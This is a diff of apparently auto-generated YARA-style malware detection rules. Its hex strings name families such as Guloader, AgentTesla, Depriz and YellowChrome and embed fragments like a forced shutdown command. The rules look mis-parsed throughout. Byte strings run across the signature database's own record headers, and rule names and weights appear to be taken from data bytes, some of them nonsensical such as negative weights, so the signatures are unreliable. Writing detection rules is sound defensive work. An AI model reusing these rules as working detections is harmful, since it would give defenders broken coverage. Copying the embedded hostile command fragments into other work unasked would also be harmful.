00 69 00 6e 00 66 00 5c 00 90 02 10 2e 00 70 00 6e 00 66 00 90 00 01 00 35 01 74 79 70 65 3d 20 6b 65 72 6e 65 6c 20 73 74 61 72 74 3d 20 64 65 6d 61 6e 64 20 62 69 6e 70 61 74 68 3d 20 53 79 73 74 65 6d 33 32 5c 44 72 69 76 65 72 73 5c 00 00 78 93 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f } //11552 + $a_73_1 = {68 69 70 70 6f 70 6f 74 61 6d 6f 69 64 01 00 1b 81 01 62 65 73 6c 61 67 6c 67 6e 69 6e 67 73 20 61 6e 74 69 74 72 61 64 69 74 69 6f 6e 00 00 78 93 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 59 65 6c 6c 6f 77 43 68 72 6f 6d 65 2e 41 21 64 68 61 00 01 00 0e 01 } //28274 + $a_62_2 = {69 6c 64 20 49 44 3a 20 22 01 00 12 01 31 34 33 32 64 31 32 34 33 32 71 77 65 72 21 24 31 3f 01 } //28487 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28274+(#a_20_2 & 1)*11552) >=3 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28274+(#a_62_2 & 1)*28487) >=3 } -rule _InfrastructureShared_10009{ +rule _InfrastructureShared_10652{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 59 65 6c 6c 6f 77 43 68 72 6f 6d 65 2e 41 21 64 68 61 00 01 00 0e 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 01 00 12 01 31 34 33 32 64 31 32 34 33 32 71 77 65 } //21539 + $a_31_1 = {01 00 37 01 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 20 74 72 79 69 6e 67 20 74 6f 20 77 } //8562 + $a_65_2 = {74 6f 20 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 00 00 78 93 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 70 72 69 7a 2e 46 21 64 68 61 00 01 00 13 01 73 68 75 74 64 6f 77 6e 20 2d 72 20 2d 66 20 2d 74 20 32 01 00 17 03 5c 00 69 00 6e 00 66 00 5c 00 90 02 10 2e 00 70 00 6e 00 66 00 90 00 01 00 35 01 } //26994 + condition: + ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*8562+(#a_65_2 & 1)*26994) >=3 + +} +rule _InfrastructureShared_10653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108296,7 +115384,7 @@ rule _InfrastructureShared_10009{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_10010{ +rule _InfrastructureShared_10654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108307,7 +115395,7 @@ rule _InfrastructureShared_10010{ ((#a_4c_0 & 1)*21539+(#a_84_2 & 1)*18432) >=3 } -rule _InfrastructureShared_10011{ +rule _InfrastructureShared_10655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -108320,7 +115408,7 @@ rule _InfrastructureShared_10011{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*14947+(#a_6d_2 & 1)*-32722+(#a_6e_3 & 1)*25963) >=3 } -rule _InfrastructureShared_10012{ +rule _InfrastructureShared_10656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -108333,7 +115421,7 @@ rule _InfrastructureShared_10012{ ((#a_5f_0 & 1)*25635+(#a_57_1 & 1)*25458+(#a_ff_2 & 1)*513+(#a_42_3 & 1)*19745) >=3 } -rule _InfrastructureShared_10013{ +rule _InfrastructureShared_10657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -108348,7 +115436,7 @@ rule _InfrastructureShared_10013{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*106+(#a_53_2 & 1)*29285+(#a_2d_3 & 1)*14133+(#a_42_4 & 1)*19745+(#a_68_5 & 1)*25714) >=3 } -rule _InfrastructureShared_10014{ +rule _InfrastructureShared_10658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108361,7 +115449,7 @@ rule _InfrastructureShared_10014{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24914+(#a_65_2 & 1)*25902+(#a_50_3 & 1)*28527) >=4 } -rule _InfrastructureShared_10015{ +rule _InfrastructureShared_10659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108374,7 +115462,7 @@ rule _InfrastructureShared_10015{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*12900+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_10016{ +rule _InfrastructureShared_10660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108387,20 +115475,33 @@ rule _InfrastructureShared_10016{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*26996+(#a_35_2 & 1)*656+(#a_4d_3 & 1)*11876) >=4 } -rule _InfrastructureShared_10017{ +rule _InfrastructureShared_10661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 44 44 6f 53 3a 57 69 6e 33 32 2f 4e 69 74 6f 6c 2e 42 32 00 01 00 12 03 00 35 2e 73 63 72 00 90 02 10 35 2e 73 63 5f 00 90 00 01 00 0b 01 49 58 50 25 30 33 64 2e 54 4d 50 01 00 0c 01 54 4d 50 34 33 35 31 24 2e 54 4d 50 01 00 37 03 25 73 61 64 76 } //18467 - $a_6b_1 = {64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 90 02 05 25 73 90 02 05 43 6f 6d 6d 61 6e 64 2e 63 6f 6d 90 02 02 2f 63 90 00 00 00 78 93 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 46 31 32 33 21 4d 54 42 00 01 00 1e 81 01 75 6e 76 } //24944 - $a_6f_2 = {73 6c 79 20 74 68 61 6c 61 73 73 69 6e 69 64 20 76 65 6e 74 69 6e 01 00 0b 81 01 66 6f 72 6e 61 67 6c 69 6e 67 73 01 00 18 81 01 73 65 6e 69 61 20 73 75 70 65 72 73 61 67 61 63 69 6f 75 73 6e 65 73 73 01 00 14 81 01 72 6f 6c 6c 6d 6f 70 73 65 6e 73 20 69 6f 6e 69 73 69 6e 67 00 00 78 93 00 00 04 00 04 00 04 00 21 } //25449 - $a_54_3 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 4c 31 32 33 21 4d 54 42 00 01 00 1a 81 01 6d 79 63 6f 70 72 6f 74 65 69 6e 20 66 72 69 6d 75 72 65 72 6f 72 64 6e 65 6e 01 00 0c 81 01 66 65 64 65 76 61 72 65 72 6e 65 73 01 00 12 81 01 66 61 } //18467 + $a_6b_1 = {64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 90 02 05 25 73 90 02 05 43 6f 6d 6d 61 6e 64 2e 63 6f 6d 90 02 02 2f 63 90 00 00 00 78 93 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 57 30 31 21 4d 54 42 00 01 00 0f 81 01 63 65 72 65 62 } //24944 + $a_61_2 = {67 6c 69 6f 6e 01 00 17 81 01 73 6b 75 62 6f 70 70 65 72 6e 65 20 68 75 64 6f 72 6d 65 2e 65 78 65 01 00 20 81 01 6f 76 65 72 61 72 6f 75 73 65 73 20 72 75 73 74 65 64 65 73 20 70 72 6f 74 6f 68 69 70 70 75 73 01 00 11 81 01 64 65 61 6c 6c 6f 63 61 74 6f 72 20 70 72 6f 76 65 00 00 78 93 00 00 04 00 04 00 04 } //28530 + $a_48_3 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 46 31 32 33 21 4d 54 42 00 01 00 1e 81 01 } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24944+(#a_6f_2 & 1)*25449+(#a_54_3 & 1)*18467) >=4 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24944+(#a_61_2 & 1)*28530+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_10018{ +rule _InfrastructureShared_10662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 57 30 31 21 4d 54 42 00 01 00 0f 81 01 63 65 72 65 62 72 6f 67 61 6e 67 6c 69 6f 6e 01 00 17 81 01 73 6b 75 62 6f 70 70 65 72 6e 65 20 68 75 64 6f 72 6d 65 2e 65 78 65 01 00 20 81 01 6f 76 65 72 } //18467 + $a_75_1 = {65 73 20 72 75 73 74 65 64 65 73 20 70 72 6f 74 6f 68 69 70 70 75 73 01 00 11 81 01 64 65 61 6c 6c 6f 63 61 74 6f 72 20 70 72 6f 76 65 00 00 78 93 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 46 31 32 33 21 4d 54 42 00 01 00 1e 81 01 75 6e 76 69 63 69 6f 75 73 6c 79 20 74 68 61 } //29281 + $a_73_2 = {6e 69 64 20 76 65 6e 74 69 6e 01 00 0b 81 01 66 6f 72 6e 61 67 6c 69 6e 67 73 01 00 18 81 01 73 65 6e 69 61 20 73 75 70 65 72 73 61 67 61 63 69 6f 75 73 6e 65 73 73 01 00 14 81 01 72 6f 6c 6c 6d 6f 70 73 65 6e 73 20 69 6f 6e 69 73 69 6e 67 00 00 78 93 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b } //24940 + $a_31_3 = {33 21 4d 54 42 00 01 00 1a 81 01 6d 79 63 6f 70 72 6f 74 65 69 6e 20 66 72 69 6d 75 72 65 72 6f 72 64 6e 65 6e 01 00 0c 81 01 66 65 64 65 76 61 72 65 72 6e 65 73 01 00 12 81 01 66 61 6c 63 61 74 61 20 61 6d 70 68 69 67 6f 72 69 } //22082 + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29281+(#a_73_2 & 1)*24940+(#a_31_3 & 1)*22082) >=4 + +} +rule _InfrastructureShared_10663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108413,7 +115514,7 @@ rule _InfrastructureShared_10018{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29441+(#a_65_2 & 1)*28530+(#a_61_3 & 1)*27765) >=4 } -rule _InfrastructureShared_10019{ +rule _InfrastructureShared_10664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108426,7 +115527,7 @@ rule _InfrastructureShared_10019{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25452+(#a_65_2 & 1)*29301+(#a_32_3 & 1)*28265) >=4 } -rule _InfrastructureShared_10020{ +rule _InfrastructureShared_10665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108439,7 +115540,7 @@ rule _InfrastructureShared_10020{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26980+(#a_73_2 & 1)*21280+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_10021{ +rule _InfrastructureShared_10666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108452,7 +115553,7 @@ rule _InfrastructureShared_10021{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*8192+(#a_64_2 & 1)*27756+(#a_4a_3 & 1)*22098) >=4 } -rule _InfrastructureShared_10022{ +rule _InfrastructureShared_10667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108465,7 +115566,7 @@ rule _InfrastructureShared_10022{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_72_2 & 1)*28786+(#a_56_3 & 1)*22098) >=4 } -rule _InfrastructureShared_10023{ +rule _InfrastructureShared_10668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108478,7 +115579,7 @@ rule _InfrastructureShared_10023{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*8302+(#a_4d_2 & 1)*12592+(#a_65_3 & 1)*385) >=4 } -rule _InfrastructureShared_10024{ +rule _InfrastructureShared_10669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108491,7 +115592,7 @@ rule _InfrastructureShared_10024{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_6f_2 & 1)*385+(#a_00_3 & 1)*116) >=4 } -rule _InfrastructureShared_10025{ +rule _InfrastructureShared_10670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108502,7 +115603,7 @@ rule _InfrastructureShared_10025{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*144) >=4 } -rule _InfrastructureShared_10026{ +rule _InfrastructureShared_10671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -108515,7 +115616,7 @@ rule _InfrastructureShared_10026{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*24159+(#a_63_2 & 1)*23553+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_10027{ +rule _InfrastructureShared_10672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -108529,7 +115630,7 @@ rule _InfrastructureShared_10027{ ((#a_46_0 & 1)*16675+(#a_68_2 & 1)*3584+(#a_01_3 & 1)*5631+(#a_00_4 & 1)*28776+(#a_75_5 & 1)*24321) >=4 } -rule _InfrastructureShared_10028{ +rule _InfrastructureShared_10673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -108542,7 +115643,7 @@ rule _InfrastructureShared_10028{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28718+(#a_65_3 & 1)*17665+(#a_61_4 & 1)*29541) >=4 } -rule _InfrastructureShared_10029{ +rule _InfrastructureShared_10674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -108555,7 +115656,7 @@ rule _InfrastructureShared_10029{ ((#a_46_0 & 1)*16675+(#a_5c_2 & 1)*4096+(#a_70_3 & 1)*28764+(#a_46_4 & 1)*21315) >=5 } -rule _InfrastructureShared_10030{ +rule _InfrastructureShared_10675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -108563,26 +115664,39 @@ rule _InfrastructureShared_10030{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 35 30 21 4d 54 42 00 01 00 09 81 01 41 58 58 56 43 53 56 46 00 01 00 0b 81 01 41 48 4e 55 46 48 43 4e 56 47 00 01 00 25 81 01 24 35 35 61 39 36 31 38 61 2d 39 32 } //18467 $a_34_1 = {66 32 2d 39 62 63 33 2d 33 63 34 37 64 32 39 33 61 35 61 39 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 } //14133 $a_93_2 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 41 31 35 31 31 5f 31 21 4d 54 42 00 01 00 28 01 2e 65 64 6f 6d 20 53 4f 44 20 6e 69 20 6e 75 72 20 65 62 20 74 6f 6e 6e 61 63 20 6d 61 72 67 6f 72 70 20 73 69 68 54 21 01 00 07 01 52 65 76 65 72 73 65 01 00 0b 01 6c 6c 64 2e 65 65 72 6f 63 73 } //0 - $a_61_4 = {6c 6c 44 72 6f 43 5f 01 00 06 01 49 6e 76 6f 6b 65 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 51 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 79 65 66 75 6c 01 00 19 81 01 73 70 61 6e 6b 69 6e 67 65 72 73 20 6b 6f 6e 67 65 6e 69 61 6c 69 74 65 74 01 } //28161 + $a_61_4 = {6c 6c 44 72 6f 43 5f 01 00 06 01 49 6e 76 6f 6b 65 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 41 30 31 21 4d 54 42 00 01 00 10 81 01 73 6b 61 72 6e 73 73 74 72 65 67 73 2e 64 65 72 01 00 13 81 01 65 78 74 65 72 69 6f 72 69 7a 61 74 69 6f 6e 2e 73 74 } //28161 condition: ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*14133+(#a_93_2 & 1)*0+(#a_61_4 & 1)*28161) >=5 } -rule _InfrastructureShared_10031{ +rule _InfrastructureShared_10676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 41 31 35 31 31 5f 31 21 4d 54 42 00 01 00 28 01 2e 65 64 6f 6d 20 53 4f 44 20 6e 69 20 6e 75 72 20 65 62 20 74 6f 6e 6e 61 63 20 6d 61 72 67 6f 72 70 20 73 69 68 54 21 01 } //18467 $a_52_1 = {76 } //1792 v - $a_65_2 = {00 0b 01 6c 6c 64 2e 65 65 72 6f 63 73 6d 01 00 0b 01 6e 69 61 4d 6c 6c 44 72 6f 43 5f 01 00 06 01 49 6e 76 6f 6b 65 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 51 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 79 65 66 75 6c 01 00 19 81 01 73 70 61 6e 6b 69 6e 67 65 72 73 20 6b 6f } //29285 - $a_6e_3 = {61 6c 69 74 65 74 01 00 09 81 01 67 6c 61 6d 6d 65 6e 65 73 01 00 11 81 01 73 76 6f 76 6c 69 6e 67 65 6e 73 20 72 6d 65 74 73 01 00 17 81 01 62 65 73 6c 75 74 6e 69 6e 67 73 72 65 66 65 72 61 74 65 72 6e 65 73 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //26478 - $a_52_4 = {43 43 30 31 21 4d 54 42 00 01 00 08 81 01 70 72 65 74 79 70 65 73 01 00 0b 81 01 61 66 74 65 6e 62 6e 6e 65 6e 73 01 00 1e 81 01 72 65 76 } //29285 + $a_65_2 = {00 0b 01 6c 6c 64 2e 65 65 72 6f 63 73 6d 01 00 0b 01 6e 69 61 4d 6c 6c 44 72 6f 43 5f 01 00 06 01 49 6e 76 6f 6b 65 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 41 30 31 21 4d 54 42 00 01 00 10 81 01 73 6b 61 72 6e 73 73 74 72 65 67 73 2e 64 65 72 01 00 13 81 01 65 78 74 65 72 69 } //29285 + $a_7a_3 = {74 69 6f 6e 2e 73 74 69 01 00 10 81 01 50 72 69 6e 63 69 70 61 6c 65 6e 73 2e 47 6c 65 01 00 10 81 01 6e 76 6e 74 20 74 76 69 76 6c 65 6e 2e 65 78 65 01 00 0f 81 01 66 72 69 6c 75 66 74 73 62 61 64 65 6e 65 73 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b } //29295 + $a_31_4 = {33 21 4d 54 42 00 01 00 06 81 01 65 79 65 66 75 6c 01 00 19 81 01 73 70 61 6e 6b 69 6e 67 65 72 73 20 6b 6f 6e 67 65 6e 69 61 6c 69 74 65 74 01 00 09 81 01 67 6c 61 6d 6d 65 6e 65 73 01 00 11 81 01 73 76 6f 76 6c 69 6e 67 65 6e 73 20 72 6d 65 } //22082 condition: - ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*1792+(#a_65_2 & 1)*29285+(#a_6e_3 & 1)*26478+(#a_52_4 & 1)*29285) >=5 + ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*1792+(#a_65_2 & 1)*29285+(#a_7a_3 & 1)*29295+(#a_31_4 & 1)*22082) >=5 } -rule _InfrastructureShared_10032{ +rule _InfrastructureShared_10677{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 41 30 31 21 4d 54 42 00 01 00 10 81 01 73 6b 61 72 6e 73 73 74 72 65 67 73 2e 64 65 72 01 00 13 81 01 65 78 74 65 72 69 6f 72 69 7a 61 74 69 6f 6e 2e 73 74 69 01 00 10 81 01 50 72 69 6e 63 69 70 } //18467 + $a_6e_1 = {2e 47 6c 65 01 00 10 81 01 6e 76 6e 74 20 74 76 69 76 6c 65 6e 2e 65 78 65 01 00 0f 81 01 66 72 69 6c 75 66 74 73 62 61 64 65 6e 65 73 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 51 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 79 65 66 75 } //27745 + $a_61_3 = {6b 69 6e 67 65 72 73 20 6b 6f 6e 67 65 6e 69 61 6c 69 74 65 74 01 00 09 81 01 67 6c 61 6d 6d 65 6e 65 73 01 00 11 81 01 73 76 6f 76 6c 69 6e 67 65 6e 73 20 72 6d 65 74 73 01 00 17 81 01 62 65 73 6c 75 74 6e 69 6e 67 73 72 65 66 65 72 61 74 65 72 6e 65 73 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //29441 + $a_64_4 = {72 2e 4c 54 4b 30 31 21 4d 54 42 00 01 00 19 81 01 64 61 74 61 6d 61 74 69 73 65 72 65 74 20 6d 6f 6f 63 68 65 72 2e 65 78 65 01 00 09 81 01 65 74 68 6f 6e 6f 6d 69 63 01 00 09 81 01 66 6c 6f 73 73 65 64 65 73 01 00 10 81 01 6f 76 65 72 64 75 62 73 20 6a 65 68 6a 64 65 73 01 00 17 81 01 61 } //28524 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27745+(#a_61_3 & 1)*29441+(#a_64_4 & 1)*28524) >=5 + +} +rule _InfrastructureShared_10678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -108590,13 +115704,26 @@ rule _InfrastructureShared_10032{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 51 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 79 65 66 75 6c 01 00 19 81 01 73 70 61 6e 6b 69 6e 67 65 72 73 20 6b 6f 6e 67 65 6e 69 61 6c 69 74 65 74 01 00 09 81 01 67 6c 61 6d 6d 65 6e 65 73 } //18467 $a_81_1 = {73 76 6f 76 6c 69 6e 67 65 6e 73 20 72 6d 65 74 73 } //1 svovlingens rmets $a_81_2 = {62 65 73 6c 75 74 6e 69 6e 67 73 72 65 66 65 72 61 74 65 72 6e 65 73 } //1 beslutningsreferaternes - $a_93_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 43 30 31 21 4d 54 42 00 01 00 08 81 01 70 72 65 74 79 70 65 73 01 00 0b 81 01 61 66 74 65 6e 62 6e 6e 65 6e 73 01 00 1e 81 01 72 65 76 69 73 69 6f 6e 73 62 65 72 65 74 6e 69 6e 67 73 20 62 65 63 6b 79 20 61 6d 6d 69 01 00 0d 81 01 65 6d 62 65 64 73 62 6f 6c 69 67 } //0 - $a_00_4 = {13 } //29285 + $a_93_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 4b 30 31 21 4d 54 42 00 01 00 19 81 01 64 61 74 61 6d 61 74 69 73 65 72 65 74 20 6d 6f 6f 63 68 65 72 2e 65 78 65 01 00 09 81 01 65 74 68 6f 6e 6f 6d 69 63 01 00 09 81 01 66 6c 6f 73 73 65 64 65 73 01 00 10 81 01 6f 76 65 72 64 75 62 73 20 6a 65 68 6a 64 65 73 01 00 } //0 + $a_61_4 = {6e } //-32489 n condition: - ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_93_3 & 1)*0+(#a_00_4 & 1)*29285) >=5 + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_93_3 & 1)*0+(#a_61_4 & 1)*-32489) >=5 } -rule _InfrastructureShared_10033{ +rule _InfrastructureShared_10679{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 4b 30 31 21 4d 54 42 00 01 00 19 81 01 64 61 74 61 6d 61 74 69 73 65 72 65 74 20 6d 6f 6f 63 68 65 72 2e 65 78 65 01 00 09 81 01 65 74 68 6f 6e 6f 6d 69 63 01 00 09 81 01 66 6c 6f 73 73 65 64 65 } //18467 + $a_76_2 = {72 64 75 62 73 20 6a 65 68 6a 64 65 73 01 00 17 81 01 61 6e 6e 65 6b 74 65 72 69 6e 67 65 6e 73 20 76 6f 6c 64 67 61 64 65 00 00 78 93 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 43 30 31 21 4d 54 42 00 01 00 08 81 01 70 72 65 74 79 70 65 73 01 00 0b 81 01 61 66 74 65 6e 62 6e } //385 + $a_73_3 = {00 1e 81 01 72 65 76 69 73 69 6f 6e 73 62 65 72 65 74 6e 69 6e 67 73 20 62 65 63 6b 79 20 61 6d 6d 69 01 00 0d 81 01 65 6d 62 65 64 73 62 6f 6c 69 67 65 72 01 00 13 81 01 65 6d 62 6c 65 6d 20 63 79 74 6f 63 79 73 74 2e 65 78 65 00 00 78 93 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 } //25966 + $a_73_4 = {72 61 74 6f 72 2e 44 21 64 68 61 00 01 00 0e 01 6d 61 69 6e 2e 43 6f 70 79 4e 45 78 65 63 01 00 0e 01 6d 61 69 6e 2e 73 74 61 72 74 43 6f 70 79 01 00 0f 01 6d 61 69 6e 2e 4d 65 73 73 61 67 65 42 6f 78 01 00 09 01 6d 61 69 6e 2e 43 6f 70 79 01 00 0f 01 6d 61 69 6e 2e 6d 61 69 6e 2e 66 75 6e 63 31 01 00 } //28261 + condition: + ((#a_54_0 & 1)*18467+(#a_76_2 & 1)*385+(#a_73_3 & 1)*25966+(#a_73_4 & 1)*28261) >=5 + +} +rule _InfrastructureShared_10680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -108610,7 +115737,7 @@ rule _InfrastructureShared_10033{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*27491+(#a_74_2 & 1)*11886+(#a_00_3 & 1)*66+(#a_75_4 & 1)*384) >=5 } -rule _InfrastructureShared_10034{ +rule _InfrastructureShared_10681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -108625,7 +115752,7 @@ rule _InfrastructureShared_10034{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11886+(#a_53_2 & 1)*14956+(#a_63_3 & 1)*31090+(#a_45_4 & 1)*12592+(#a_74_5 & 1)*29264) >=5 } -rule _InfrastructureShared_10035{ +rule _InfrastructureShared_10682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -108638,7 +115765,7 